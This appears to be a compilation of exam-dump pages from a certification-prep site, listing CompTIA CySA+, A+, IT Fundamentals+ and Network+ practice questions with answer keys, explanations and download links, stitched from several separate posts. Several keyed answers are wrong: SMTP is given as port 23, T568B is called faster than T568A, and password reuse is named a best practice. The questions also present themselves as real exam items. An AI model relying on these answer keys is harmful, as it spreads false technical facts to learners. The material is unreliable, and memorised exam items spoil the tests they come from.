During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?

A. Clone the virtual server for forensic analysis

B. Log in to the affected server and begin analysis of the logs

C. Restore from the last-known-good backup to confirm there was no loss of connectivity

D. Shut down the affected server immediately

Correct Answer: A

Analysis and explanation

The first action that the analyst should take in this case is to clone the virtual server for forensic analysis. Cloning the
virtual server involves creating an exact” state at a specific point in time. Cloning the virtual server can help preserve
and protect any evidence or information related to the security incident, as well as prevent any tampering,
contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and
investigate the incident without affecting the original server or its operations.

NEW QUESTION 11:

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service-level agreement

C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

Correct Answer: DE

Analysis and explanation

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames,
operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity
and potential impact of the vulnerability on the host and the organization. Official https://www.first.org/cvss/

NEW QUESTION 12:

Which of the following is the best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach?

A. Determine the sophistication of the audience that the report is meant for

B. Include references and sources of information on the first page

C. Include a table of contents outlining the entire report

D. Decide on the color scheme that will effectively communicate the metrics

Correct Answer: A

Analysis and explanation

The best way to begin preparation” regarding a recent incident involving a cybersecurity breach is to determine the
sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of
technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience
can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report
for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

Free Download	PDF
https://drive.google.com/file/d/1f01Dsq90sf2IVR0fpQGCfcSrW9wy6fdP/view?usp=sharing	12

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April 25, 2024 by admin CompTIA CompTIA CySA+ cs0-003 cs0-003 certification cs0-003 exam cs0-003 exam materials cs0-003 exam questions cs0-003 exam questions and answers cs0-003 free exam materials cs0-003 practice questions

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From	Number of exam questions	Associated certification	Online Download	Last update
leads4pass	15	A+,CySA+ …	220-1101 PDF	220-1101 dumps

New Question 1:

A user reports a cell phone is getting hot. Which of the following is MOST likely to be possible causes? (Select THREE).

A. Using the device as a Wi-Fi hotspot

B. A cracked screen

C. A failing battery

D. Less than 15% free storage space on the phone

E. Privileged control

F. Recurring prompts to install OS updates

G. Granting too many application camera permissions

H. Too many open applications

Correct Answer: ACH

New Question 2:

A hardware technician is configuring a laptop, and the network administrator requires the network settings to be static. The technician successfully pings the servers by IP address but cannot ping the UNC path. Which of the following is the cause of this issue?

A. Domain Name System

B. Gateway

C. Subnet

D. IP address

Correct Answer: A

New Question 3:

New memory modules were installed in several Windows desktops but some users are still reporting performance issues. Upon investigation, a systems administrator notices the desktop has not recognized the new memory modules. Which of the following should the systems administrator perform to help resolve this issue?

A. Configure appropriate settings within the BIOS

B. Replace the RAM

C. Modify the boot. ini file.

D. Install the required drivers through the Control Panel

Correct Answer: A

New Question 4:

A technician recently discovered me root cause of an application error that several users have been experiencing. The technician updated the configurations on the affected machines and verified full functionality was restored for all users, which of the following actions should the technician perform NEXT?

A. Write a knowledge base article in the ticketing software to expedite future Incidents.

B. Submit a bug report to the developer of the application, along with the steps taken to resolve the issue.

C. Work with the developer to proactively collect the application logs to identify future errors of this type.

D. Send an email communication to the company about the issue and the steps taken to resolve it.

Correct Answer: A

CompTIA 6-Step Troubleshooting Process:

Identify the problem.

Establish a theory of probable cause. (Question the obvious)

Test the theory to determine the cause.

Establish a plan of action to resolve the problem and implement the solution.

Verify full system functionality and if applicable implement preventative measures.

Document findings, actions, and outcomes.

New Question 5:

A user submits a help desk ticket regarding a smartphone that will no longer accept its charging cable. The assigned technician notices the phone does not have a protective case, and the user constantly transports the phone in a pocket. The technician attempts to use a secondary charger, but the cable falls out of the phone. Which of the following is the MOST likely cause of the issue?

A. The phone requires a firmware update to address charging issues.

B. The charge port contains foreign objects, such as lint.

C. The phone\’s battery has swelled, preventing the utilization of the charge port.

D. The phone has experienced water damage, thus the battery is not charging.

Correct Answer: B

New Question 6:

A user creates a support ticket to report a conference room projector that does not work. The user says that even though the provided cables are being used, the projector screen shows the following error message:

No signal input

Which of the following describes the FIRST action that should be taken?

A. Verify that the projector is turned on.

B. Verify that the user is using an approved OS.

C. Replace the projector bulb.

D. Check the video cable and replace it if necessary.

Correct Answer: D

The most common reason you may be seeing the “No Signal” message is: The projector and the source device are not connected correctly.

New Question 7:

A customer\’s laptop display has suddenly become very dim. The image of the display can only be seen with a bright, external light, as adjusting the brightness/contracts controls does not cause much change.

Which of the following components MOST likely needs to be replaced?

A. LCD panel

B. Inverter

C. Video card

D. Digitizer

Correct Answer: B

New Question 8:

A user reports issues with a smartphone after dropping it. The icons on the screen all look normal, but when the user touches the email icon, for example, nothing happens. Which of the following is MOST likely the cause?

A. Digitizer issues

B. Overheating

C. Broken screen

D. Malware

Correct Answer: A

New Question 9:

A technician is dispatched to troubleshoot a slow performance issue on a PC. Upon arrival, the technician immediately opens Task Manager and sees that CPU and RAM performance are within normal ranges. The technician then checks and verifies the speed and duplex settings and performance on the network card. The technician then temporarily disables the antivirus to see if performance is affected, and it is not. After re-enabling the antivirus, which of the following is the NEXT best stop for the technician to take?

A. Check to see if insufficient hard drive space is causing the issue

B. Update the operating system, drivers, and firmware on the PC

C. Log into the PC with another user profile and test the performance

D. Shut down the PC, unplug the power for 30 seconds, and then boot the PC

Correct Answer: A

New Question 10:

A user accidentally spills liquid on a laptop. The user wants the device to be fixed and would like to know how much it will cost. Which of the following steps should the technician take NEXT to verify if the device is repairable before committing to a price? (Choose two.)

A. Remove the case and organize the parts.

B. Document the screw locations.

C. Search the Internet for repair tutorials.

D. Consult colleagues for advice.

E. Place the device in rice for a few days.

Correct Answer: AB

New Question 11:

A systems administrator receives a notification from the RAID controller that the RAID 5 array is degraded. Upon logging into the server, the administrator sees that on local disk 0, physical disk 2 has failed. Which of the following is the BEST course of action to take to resolve the problem?

A. Schedule system downtime and replace physical disk 2. Wait until the array is rebuilt and confirm in the RAID controller that the system is no longer degraded.

B. Immediately replace the physical disk 2. Wait until the arrays are rebuilt and confirm in the RAID controller that the system is no longer degraded.

C. Delete logical disk 0 and manually configure a new RAID array only using the known- good working drives. Wait until the array is rebuilt and confirm in the RAID controller that the system is no longer degraded.

D. In the controller, convert the RAID 5 array to RAID 0 array to avoid system downtime. Wait until the array is rebuilt and confirm in the RAID controller that the system is no longer degraded.

Correct Answer: A

New Question 12:

Which of the following cloud computing concepts provides the ability to scale services as needed to accommodate changes?

A. Measured service

B. On-demand

C. Rapid elasticity

D. Resource pooling

Correct Answer: C

Reference: https://www.techopedia.com/definition/29526/rapid-elasticity

New Question 13:

A technician is setting up a new desktop computer and will be installing the hard drive directly on the motherboard without using cables to connect it. Which of the following will the technician be installing?

A. Thunderbolt

B. eSATA

C. M.2

D. SCSI

Correct Answer: C

New Question 14:

An end user wants to have a second monitor installed on a laptop. Which of the following would allow a technician to configure the laptop to show both screens once the cable is connected?

A. Plug an external monitor into the USB port.

B. Use the Fn and function key combination

C. Adjust the monitor display settings.

D. Enable DisplayPort.

Correct Answer: C

New Question 15:

A remote user called the help desk to report a notification indicating there is limited or no connectivity. The user can access local file folders and other local machines but none of the organization\’s servers or network items. Web pages do not appear to function either. Which of the following is the MOST likely cause of the issue?

A. The user\’s internet connection is down.

B. The user\’s domain account is locked out.

C. The user\’s switch has stopped working.

D. The user\’s IP address needs to be renewed.

Correct Answer: D

…

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Number of exam questions	Exam name	Exam code	Last updated
15	CompTIA A+ Certification Exam: Core 1	220-1101	220-1001 dumps

QUESTION 1:

A technician is upgrading a legacy wireless router for a home user. After installing the new router and configuring the SSID to be the same, none of the devices will connect to the network.

Which of the following should the technician check NEXT?

A. OHCP pool configuration

B. MAC filtering list

C. Wireless protocol settings

D. ONS servers

Correct Answer: B

QUESTION 2:

Several users who share a multifunction printer in an office have reported unintended, thin, vertical lines that cover the entire height of every page printed from the printer.

Which of the following steps should a technician complete in order to MOST likely resolve this issue?

A. Replace the printer paper with a new ream.

B. Clear the print spooler on each computer.

C. Reinstall the printer driver on each computer

D. Perform the drum-cleaning procedure.

Correct Answer: D

QUESTION 3:

A user’s computer is not receiving a network connection. The technician confirms that the connection seems to be down and looks for the user’s port on the patch panel. The port and patch panel are not labeled.

Which of the following network tools should the technician use to identify the port?

A. Network tap

B. Punchdown tool

C. Toner probe

D. Crimper

Correct Answer: C

Explanation

Explanation/Reference:

Toner Probe Many cable testers also incorporate the function of a toner probe, which is used to identify a cable from within a bundle.

This may be necessary when the cables have not been labeled properly. The tone generator is connected to the cable using an RJ45 jack and applies a continuous audio signal on the cable. The probe is used to detect the signal and follow the cable over ceilings and through ducts or identify it from within the rest of the bundle.

QUESTION 4:

A technician is configuring a workstation to be used as a VM host. After installing the necessary software, the technician is unable to create any VMs.

Which of the following actions should be performed?

A. Disable the BIOS password.

B. Enable TPM.

C. Enable multithreading.

D. Enable Fast Startup.

Correct Answer: B

Explanation

Explanation/Reference:

If you want to install Windows 11 on a virtual machine using Hyper-V, you will have to use a “Generation 2” VM and enable the “trusted platform module” (TPM) and Secure Boot options. Otherwise, the OS won’t install.

Starting with Windows 11, Microsoft is changing the system requirement and making TPM 2.0 and Secure Boot a prerequisite to perform an in-place upgrade or clean install the new version on any device. This is in addition to the new 4GB of RAM and at least 64GB of storage.

quoted from here:
https://pureinfotech.com/enable-tpm-secure-boot-hyperv-install-windows-11/
Furthermore, Multithreading is not a requirement for hyper-v hosting.

QUESTION 5:

A company just bought a printer capable of automatically printing on both sides of the paper After installation, however, the technician can only print on both sides of the paper manually.

Which of the following should the technician do to fix the issue?

A. Install the most recent firmware upgrade available for the printer.

B. Contact the vendor for a hardware replacement.

C. Reinstall the printer software and drivers, and then restart the printer.

D. Read the installation manual and configure duplex settings.

Correct Answer: D

QUESTION 6:

A user submitted a support ticket that states all of the printouts from a laser printer appear to have double images imposed on them. A review of past printer support tickets shows that the maintenance kit has not been installed in more than a year.

Which of the following printer consumables is MOST likely causing the issue?

A. Separation pad

B. Transfer roller

C. Ink cartridge

D. Fuser

Correct Answer: D

Explanation

Explanation/Reference:
https://www.vingle.net/posts/4651722

QUESTION 7:

An organization maintains various record types, including health and criminal justice records. Which of the following cloud environments is the organization MOST likely to use to limit the attack surface?

A. Public

B. Hybrid

C. Community

D. Private

Correct Answer: D

QUESTION 8:

Which of the following describes the main difference between T568A and T568B cabling standards?

A. The T568B data transfer rate is higher than T568A.

B. The green and orange cables are interchanged.

C. T568A is used in blue cables, and T568B is used in green cables.

D. The standards use different cable connectors.

Correct Answer: A

QUESTION 9:

A technician is replacing a ribbon on a printer that produces faded text and Images when priming. Which of the following types of primers is the technician working on?

A. Impact

B. Inkjet

C. Laser

D. Thermal

Correct Answer: D

QUESTION 10:

A user on the marketing team uses various multimedia applications that consume a lot of memory. The user needs to install more RAM to run these applications effectively. When the user opens the computer case, the user sees four slots in two sets of colors.

Which of the following memory types is MOST likely required?

A. Dual-channel

B. Triple-channel

C. Single-channel

D. Quad-channel

E. Error correction code RAM

Correct Answer: A

QUESTION 11:

A system administrator has been tasked with allowing SMTP traffic through the system’s host-based firewall. Which of the following ports should the administrator enable?

A. 23

B. 25

C. 80

D. 161

Correct Answer: A

QUESTION 12:

The Chief Executive Officer wants to ensure company data is stored in a manner that provides the company with complete control over how the data is managed.

Which of the following is the BEST cloud deployment model for this request?

A. Community

B. Hybrid

C. Public

D. Private

Correct Answer: D

QUESTION 13:

A help desk technician has been tasked with installing an IP phone in a small office with an unmanaged switch. When connected to an RJ45 receptacle, the phone does not boot.

Which of the following is the QUICKEST way to resolve this issue?

A. Upgrade the Ethernet cable to the latest specification.

B. Replace the phone.

C. Install a PoE injector.

D. Change ports on the switch.

Correct Answer: C

Explanation
Explanation/Reference:
https://intellinetnetwork.eu/pages/what-is-a-poe-injector

QUESTION 14:

A user sends a print job to a network printer, and the print job uses double the amount of paper as expected. Which of the following should the user configure to get the expected result?

A. Duplex

B. Collate

C. Landscape

D. Transparency

Correct Answer: A

QUESTION 15:

Which of the following is a method that can be used to securely connect a remote user’s laptop to a corporate server?

A. WAN

B. VPN

C. SSL

D. DHCP

Correct Answer: B

…

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Number of exam questions	Exam name	Exam code	Last updated
15	CompTIA IT Fundamentals+ Certification Exam	FC0-U61	FC0-U61 dumps

Question 1:

An end user\’s computer has been failing to open its word-processing software. An IT technician successfully solves the problem. Which of the following best describes the technician\’s NEXT step?

A. Restart the computer.

B. Contact other users.

C. Disconnect the peripherals.

D. Document the findings.

Correct Answer: D

Question 2:

Ann, a user, wants to ensure that if her credentials are compromised, they cannot be used to access all of her logins or accounts. Which of the following best practices should she implement?

A. Password history

B. Password length

C. Password reuse

D. Password complexity

Correct Answer: C

Question 3:

A company is developing an application that will be used to simplify typing on a virtual keyboard. This will MOST likely be installed on:

A. a mobile OS.

B. a workstation OS.

C. a server OS.

D. an embedded OS.

Correct Answer: A

Question 4:

Which of the following encryption types would BEST be used to protect data on a shared computer?

A. File

B. VPN

C. Email

D. Mobile

Correct Answer: A

Question 5:

The IT department has established a new password policy for employees. Specifically, the policy reads:

Passwords must not contain common dictionary words Passwords must contain at least one special character. Passwords must be different from the last six passwords used. Passwords must use at least one capital letter or number.

Which of the following practices is being employed? (Select TWO).

A. Password lockout

B. Password complexity

C. Password expiration

D. Passwords history

E. Password length

F. Password age

Correct Answer: BD

Question 6:

A user is buying a laptop. The user will have a lot of personal and confidential information on the laptop. The user wants to ensure data cannot be accessed by anyone, even if the laptop is stolen.

Which of the following should be set up to accomplish this?

A. Encryption

B. Compression

C. Permissions

D. Auditing

Correct Answer: A

Question 7:

A developer needs to add a table to a database. Which of the following database activities should the user perform?

A. UPDATE

B. ALTER

C. CREATE

D. REPORT

Correct Answer: C

Question 8:

A user is having issues connecting to the Internet through a web browser; however, the user is receiving email and instant messages.

Which of the following should the user do to BEST resolve the issue?

A. Validate the certificate.

B. Verify the proxy settings.

C. Disable the pop-up blocker.

D. Clear the browser cache.

Correct Answer: B

Question 9:

Which of the following WiFi security options would create the MOST need for a VPN connection on the client device?

A. Open

B. WEP

C. WPA

D. WPA2

Correct Answer: A

Question 10:

A user at a company visits a weather website often during the day. The user browses the site in the afternoon and notices that the temperature listed is from the morning and is not the current temperature.

The user closes the page and tries again with the same result.

Which of the following is the MOST likely cause?

A. Proxy server

B. Browser add-on

C. Corrupted cache

D. Script blocker

Correct Answer: A

Question 11:

Which of the following would be considered the BEST method of securely distributing medical records?

A. Encrypted flash drive

B. Social networking sites

C. Fax

D. FTP file sharing

Correct Answer: A

Question 12:

A remote user, who is working from home, requires significant bandwidth to connect to the corporate systems.

Which of the following types of Internet service connections would BEST meet the user\’s needs?

A. T1 line

B. Satellite

C. Fiber optic

D. DSL

Correct Answer: C

Question 13:

Which of the following is primarily a confidentiality concern?

A. Eavesdropping

B. Impersonating

C. Destructing

D. Altering

Correct Answer: A

Question 14:

When developing a game, a developer creates a boss object that has the ability to jump. Which of the following programming concepts does jump represent?

A. Method

B. Object

C. Property

D. Attribute

Correct Answer: D

Question 15:

Ann, a user, connects to the corporate WiFi and tries to browse the Internet. Ann finds that she can only get to local (intranet) pages.

Which of the following actions would MOST likely fix the problem?

A. Renew the IP address.

B. Configure the browser proxy settings.

C. Clear the browser cache.

D. Disable the pop-up blocker

Correct Answer: B

…

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[Update Dec 2022] CompTIA Cybersecurity Analyst CS0-002 Exam Dumps

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Read the latest CompTIA CySA+ CS0-002 dumps exam questions and answers online

Number of exam questions	Exam name	From	Release time	Last updated
15	CompTIA Cybersecurity Analyst (CySA+)	leads4pass	Dec 06, 2022	CS0-002 dumps

NEW QUESTION 1:

Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Choose two.)

A. COBIT
B. NIST
C. ISO 27000 series
D. ITIL
E. COSO

Correct Answer: BD

NEW QUESTION 2:

A malicious hacker wants to gather guest credentials on a hotel 802.11 network. Which of the following tools is the malicious hacker going to use to gain access to information found on the hotel network?

A. Nikto
B. Aircrak-ng
C. Nessus
D. tcpdump

Correct Answer: B

NEW QUESTION 3:

A company\’s Chief Information Security Officer (CISO) published an Internet usage policy that prohibits employees from accessing unauthorized websites. The IT department whitelisted websites used for business needs.

The CISO wants the security analyst to recommend a solution that would improve security and support employee morale. Which of the following security recommendations would allow employees to browse non-business-related websites?

A. Implement a virtual machine alternative.
B. Develop a new secured browser.
C. Configure a personal business VLAN.
D. Install kiosks throughout the building.

Correct Answer: C

NEW QUESTION 4:

A security analyst reviews SIEM logs and detects a well-known malicious executable running on a Windows machine.

The up-to-date antivirus cannot detect the malicious executable. Which of the following is the MOST likely cause of this issue?

A. The malware is lifeless and exists only in physical memory
B. The malware detects and prevents its own execution in a virtual environment
C. The antivirus does not have the malware\’s signature
D. The malware is being executed with administrative privileges

Correct Answer: D

NEW QUESTION 5:

An organization is attempting to harden its web servers and reduce the information that might be disclosed by potential attackers. A security analyst is reviewing vulnerability scan results from a recent web server scan.

Portions of the scan results are shown below:

Which of the following lines indicates information disclosure about the host that needs to be remediated?

A. Response: :\Documents\MarySmith\mailingList.pdf
B. Finding#5144322
C. First Time Detected 10 Nov 2015 09:00 GMT-0600
D. Access Path: http://myOrg.com/mailingList.htm
E. Request: GET http://myOrg.com/mailingList.aspx?content=volunteer

Correct Answer: A

NEW QUESTION 6:

To validate local system-hardening requirements, which of the following types of vulnerability scans would work BEST to verify the scanned device meets security policies?

A. SCAP
B. SAST
C. DAST
D. DACS

Correct Answer: A

Reference: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/scanning-
the-system-for-configuration-compliance-and-vulnerabilities_security-hardening

NEW QUESTION 7:

A security administrator determines several months after the first instance that a local privileged user has been routinely logging into a server interactively as “root” and browsing the Internet.

The administrator determines this by performing an annual review of the security logs on that server. For which of the following security architecture areas should the administrator recommend review and modification? (Select TWO).

A. Log aggregation and analysis
B. Software assurance
C. Encryption
D. Acceptable use policies
E. Password complexity
F. Network isolation and separation

Correct Answer: AD

NEW QUESTION 8:

While conducting research on malicious domains, a threat intelligence analyst received a blue screen of death. The analyst rebooted and received a message stating that the computer had been locked and could only be opened by following the instructions on the screen.

Which of the following combinations describes the MOST likely threat and the PRIMARY mitigation for the threat?

A. Ransomware and update antivirus
B. Account takeover and data backups
C. Ransomware and full disk encryption
D. Ransomware and data backups

Correct Answer: D

NEWW QUESTION 9:

A security analyst discovers the accounting department is hosting an accounts receivable form on a public document service. Anyone with the link can access it. Which of the following threats applies to this situation?

A. Potential data loss to external users
B. Loss of public/private key management
C. Cloud-based authentication attack
D. Insufficient access logging

Correct Answer: A

NEW QUESTION 10:

Which of the following are the MOST likely reasons to include reporting processes when updating an incident response plan after a breach? (Select TWO).

A. To establish a clear chain of command
B. To meet regulatory requirements for timely reporting
C. To limit reputation damage caused by the breach
D. To remediate vulnerabilities that led to the breach
E. To isolate potential insider threats
F. To provide secure network design changes

Correct Answer: BF

NEW QUESTION 11:

As part of the senior leadership team\’s ongoing risk management activities the Chief Information Security Officer has tasked a security analyst with coordinating the right training and testing methodology to respond to new business initiatives or significant changes to existing ones The management team wants to examine a new business process that would use existing infrastructure to process and store sensitive data.

Which of the following would be appropriate for the security analyst to coordinate?

A. A black-box penetration testing engagement

B. A tabletop exercise

C. Threat modeling

D. A business impact analysis

Correct Answer: D

NEW QUESTION 12:

Which of the following commands would a security analyst use to make a copy of an image for forensics use?

A. dd
B. wget
C. touch
D. rm

Correct Answer: A

NEW QUESTION 13:

While analyzing network traffic, a security analyst discovers several computers on the network are connecting to a malicious domain that was blocked by a DNS sinkhole. A new private IP range is now visible, but no change requests were made to add it.

Which of the following is the BEST solution for the security analyst to implement?

A. Block the domain IP at the firewall.
B. Blacklist the new subnet
C. Create an IPS rule.
D. Apply network access control.

Correct Answer: A

…

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[Update Oct 2022] CompTIA A+ 220-1001 dumps the last share

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The latest updated CompTIA A+ 220-1001 Dumps exam questions and answers:

Number of exam questions	Exam name	From	Release time	Online Download
13	CompTIA A+ Certification Exam: Core 1	leads4pass	Oct 19, 2022	CompTIA A+ 220-1001 PDF

NEW QUESTION 1:

A user has a red X In the taskbar on a VM where Internet connectivity is usually located. Which of the following should be checked FIRST II all other operations are working normally on the VM?

A. Patch level of the host
B. Proxy server
C. Virtual switch
D. BIOS

Correct Answer: C

NEW QUESTION 2:

Which of the following connector types is used to terminate household telephone cabling?

A. RG-6
B. RJ-11
C. RJ-45
D. RG-59

Correct Answer: B

NEW QUESTION 3:

During a remodel of an auditorium, a second projector was added. The first protector was rotated so the image is duplicated on another section of the front wall Both projectors are connected to the switch through a VGA splitter After the move users report the images on the second projector are normal but images on the first projector are skewed.

Which of the following would correct the issue?

A. Replace the lamp on the projector
B. Adjust the projector\’s keystone
C. Change the projector\’s resolution
D. Power cycle the projector

Correct Answer: B

NEW QUESTION 4:

Which of the following has a P4 connector to provide a 12V output?

A. EIDE port
B. 24-pin adapter
C. SCSI cable
D. eSATA cable

Correct Answer: A

NEW QUESTION 5:

After a new laser printer was installed, users began reporting issues. Duplicate copies of print jobs were not delivering fully separated copies; instead, similar pages were being stacked. Which of the following settings MOST likely needed to be checked to correct this issue?

A. Collation
B. Duplexing
C. Orientation
D. Quality

Correct Answer: A

NEW QUESTION 6:

A technician Is selling up a VM to be used for testing applications in a sandbox environment. The technician selects a quick setup to deploy the client with minimal configuration. The OS is Installed successfully; however, the VM locks up upon the first boot. The host device is operating normally.

Which of the following requirements should the technician review prior to making any changes?

A. Security
B. Resources
C. Network
D. Emulator

Correct Answer: A

NEW QUESTION 7:

A computer that had been running properly for about three years no longer boots. A technician observes the computer attempting to pass the POST but it beeps three times before crashing. The computer then attempts to boot again and repeats the process.

Which of the following is MOST likely the cause of the problem?

A. Mismatched memory speed type

B. Improperly seated memory modules
C. Malfunctioning memory modules
D. Incorrect memory type installed

Correct Answer: B

NEW QUESTION 8:

A charging pad for a mobile device is no longer working and needs to be replaced. Until then, which of the following alternatives can be used to charge the mobile device?

A. USB-C
B. Ethernet
C. RJ11
D. Coaxial

Correct Answer: A

NEW QUESTION 9:

A technician receives a call from a user who dropped a laptop and cracked the screen. The user needs it replaced quickly. The technician has to ensure the correct stock parts are in the storeroom.

Which of the following components would the technician MOST likely need to repair the user\’s laptop? (Select TWO)

A. Webcam
B. Microphone
C. Video adapter
D. Bezel
E. Speaker
F. LCD

Correct Answer: DF

NEW QUESTION 10:

A technician is upgrading the RAM in a server-grade laptop for a company\’s Chief Execute Officer (CEO). The CEO cannot afford any downtime. Which of the following is the BEST type of memory module to purchase?

A. LRSIMM
B. DDR4

C. Parity
D. Dual channel

Correct Answer: A

NEW QUESTION 11:

Which of the following display connector types can transmit either a digital-to-digital signal or an analog-to-analog signal?

A. DVHD
B. DVI-A
C. DVI-I
D. RCA

Correct Answer: C

NEW QUESTION 12:

A user receives a replacement modem/router combination device from an ISP and plugs it in. A laptop connected to the router via WiFi receives an address in 192.168.0.x range but is unable to access the Internet.

Which of the following would MOST likely resolve the problem?

A. Upgrade the network drivers on the laptop.
B. Change the laptop from a wireless to a wired connection.
C. Register the new cable modem MAC address with the ISP.
D. Update the password on the wireless connection.

Correct Answer: B

NEW QUESTION 13:

A user receives the following error message when powering on a computer:
The hard drive cannot be found. A technician restarts the computer, and it boots the OS normally. Several days later, the user reports another problem, but rebooting the computer does not resolve the issue. The technician replaces the motherboard, keeping the same CPU, battery, RAM, and hard drive. The user cannot authenticate at the login screen Which of the following would BEST explain the causes of the problem? (Select TWO)

A. POST error code beeps indicate RAM failure.

B. The system time is not set correctly in the BIOS
C. The voltage on the coin cell is drained completely
D. UEFI firmware has the Secure Boot setting enabled
E. Capacitors on the motherboard are distended
F. Incorrect settings are booting the wrong device
G. A BSOD error indicates the system is crashing

Correct Answer: CE

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The complete CompTIA N10-008 exam dumps are in leads4pass https://www.leads4pass.com/n10-008.html (Total Questions: 227 Q&A) [Updated 2022 Total Questions: 384 Q&A] The complete dumps contain two modes: PDF and VCE, which you can choose arbitrarily.

[Updated 2022] N10-008 Exam Question and Answers

QUESTION 1:

A network administrator is installing a new IDS device that will collect logs and alert the administrator of breaches.
The network infrastructure includes a modern, firewall, and core and access switches.
The modem is ISP provided and only forwards packets from the data circuit.
The firewall handles stateful packet inspection, the ACL, and application layer filtering.
Which of the following describes where the administrator should install the IDS device on the network to collect the MOST relevant information?

A. In front of the modem and firewall
B. Between the modem and firewall
C. Behind the firewall on the core switch
D. After the access switch

Correct Answer: A

QUESTION 2:

A network administrator is implementing OSPF on all of a company\’s network devices. Which of the following will MOST likely replace all the company\’s hubs?

A. A Layer 3 switch
B. A proxy server
C. A NGFW
D. A WLAN controller

Correct Answer: A

QUESTION 3:

Which of the following OSI model layers is where conversations between applications are established, coordinated, and terminated?

A. Session
B. Physical
C. Presentation
D. Data link

Correct Answer: A

QUESTION 4:

An administrator needs to connect to a server to install security patches. The administrator requests that port 3389 be allowed through the firewall. Which of the following access methods is the administrator looking to use?

A. SSH
B. Telnet
C. SFTP
D. RDP

Correct Answer: D

QUESTION 5:

After rebooting a PC, a user is no longer able to connect to the corporate network. As a test, the technician plugs a different laptop into the same network jack and receives an IP address of 169.254.112.137. Which of the following is MOST likely causing the issue?

A. DHCP scope exhaustion
B. Improper DNS setting
C. Incorrect ACL setting
D. Port-security violation

Correct Answer: A

[Updated 2022] Get more Comptia N10-008 exam questions and answers

CompTIA N10-008 free dumps of the latest updates

Take the test, the answer will be announced at the end of the article

Question 1:

SIMULATION

You have been tasked with setting up a wireless network in an office. The network will consist of 3 Access Points and a single switch. The network must meet the following parameters:

The SSIDs need to be configured as CorpNet with a key of S3cr3t!

The wireless signals should not interfere with each other The subnet the Access Points and switch are on should only support 30 devices maximum The Access Points should be configured to only support TKIP clients at a maximum speed

INSTRUCTONS

Click on the wireless devices and review their information and adjust the settings of the access points to meet the given requirements.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

comptia n10-008 exam questions q1

Correct Answer: See below.

On the first exhibit, the layout should be as follows

Access Point Name AP1 IP Address 192.168.1.3 Gateway 192.168.1.2

SSID corpnet

SSID Broadcast yes

Mode G

Channel 1

Speed Auto

Duplex Auto

WPA

Passphrase S3cr3t!

Exhibit 2 as follows

Access Point Name AP2

IP Address 192.168.1.4

Gateway 192.168.1.2

SSID corpnet

SSID Broadcast yes

Mode G

Channel 6

Speed Auto

Duplex Auto

WPA

Passphrase S3cr3t!

Exhibit 3 as follows

Access Point Name AP3

IP Address 192.168.1.5

Gateway 192.168.1.2

SSID corpnet

SSID Broadcast yes

Mode G

Channel 11

Speed Auto

Duplex Auto

WPA

Passphrase S3cr3t!

Question 2:

SIMULATION

You are tasked with verifying the following requirements are met in order to ensure network security.

Requirements:

Datacenter

-Ensure network is subnetted to allow all devices to communicate properly while minimizing address space usage

-Provide a dedicated server to resolve IP addresses and hostnames correctly and handle port 53 traffic Building A

-Ensure network is subnetted to allow all devices to communicate properly while minimizing address space usage

-Provide devices to support 5 additional different office users

-Add an additional mobile user

-Replace the Telnet server with a more secure solution Screened subnet

-Ensure network is subnetted to allow all devices to communicate properly while minimizing address space usage

–

Provide a server to handle external 80/443 traffic

–

Provide a server to handle port 20/21 traffic

INSTRUCTIONS

Drag and drop objects onto the appropriate locations. Objects can be used multiple times and not all placeholders need to be filled.

Available objects are located in both the Servers and Devices tabs of the Drag and Drop menu.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

comptia n10-008 exam questions q2

Correct Answer: See below.

Top left subnet – 206.208.134.0/28

Top right subnet – 10.72.63.0/28

Bottom subnet – 192.168.11.0/28

Screened Subnet devices – Web server, FTP server

Building A devices – SSH server top left, workstations on all 5 on the right, laptop on bottom left

DataCenter devices – DNS server.

Question 3:

A network administrator has discovered a low-end managed switch connoted to the company LAN. While reading about the device\’s specifications on the manufacturer\’s website, the administrator discovers the switch does not support a command line interface for administration. Which of the following remote access methods should the administrator use to log in the switch?

A. install a VNC plugin on the web Browser

B. Connect to the HTTPS management interface

C. Replace the managed switch with an unmanaged switch.

D. Establish an SSH session.

Question 4:

A company needs to be able to restore 100% of its data from any single day\’s backup. Which of the following backup types should the company use?

A. Full

B. Incremental

C. snapshot

D. Differential

Question 5:

A company\’s users have been reporting excessive latency when connecting to the Internet. The network administration team submitted a change request to upgrade all the obsolete network equipment from 100Mbps to 1Gbps and It was approved. Which of the following documentation types will be needed to measure the success or failure of the upgrade project?

A. Network performance baseline

B. Network configuration documents

C. Equipment Implementation Instructions

D. Inventory management documentation

Question 6:

A network team has reopened multiple outages caused by unauthorized access to the IDF. Which of the following would BEST prevent this issue from reoccurring?

A. Video surveillance

B. Badge readers

C. Motion sensors

D. Tamper switches

Question 7:

A new network Technician is responsible for bringing a building onto the corporate network. The technician is not aware of the proper settings for the new switches. Which of the following should the technician reference to find these settings?

A. iDF/MDF documentation

B. Change management plan

C. Configuration baseline

D. Standard operating procedures

Question 8:

A technician needs to back up network devices to a central location to prepare for a natural disaster. Which of the following should the technician use?

A. VPN

B. TFTP

C. RDP

D. VNC

Question 9:

A user has called the help desk with a problem reaching certain servers within the organization. The organization is using RFC 1819 for internal networks. The servers having trouble are configured with the following IP addresses: 192. 130.

135. 5 and 192. 130. 135. 6.

The user cannot connect to the correct servers. Which of the following explain why this is happening to the user?

A. The network has been configured with an inappropriate scheme

B. The serves are periodical/ going offline and rejecting the connection.

C. The default route in the user\’s computer points to the wrong upstream device.

D. The IPS system is flagging the traffic as suspicious and terminating the connection.

Question 10:

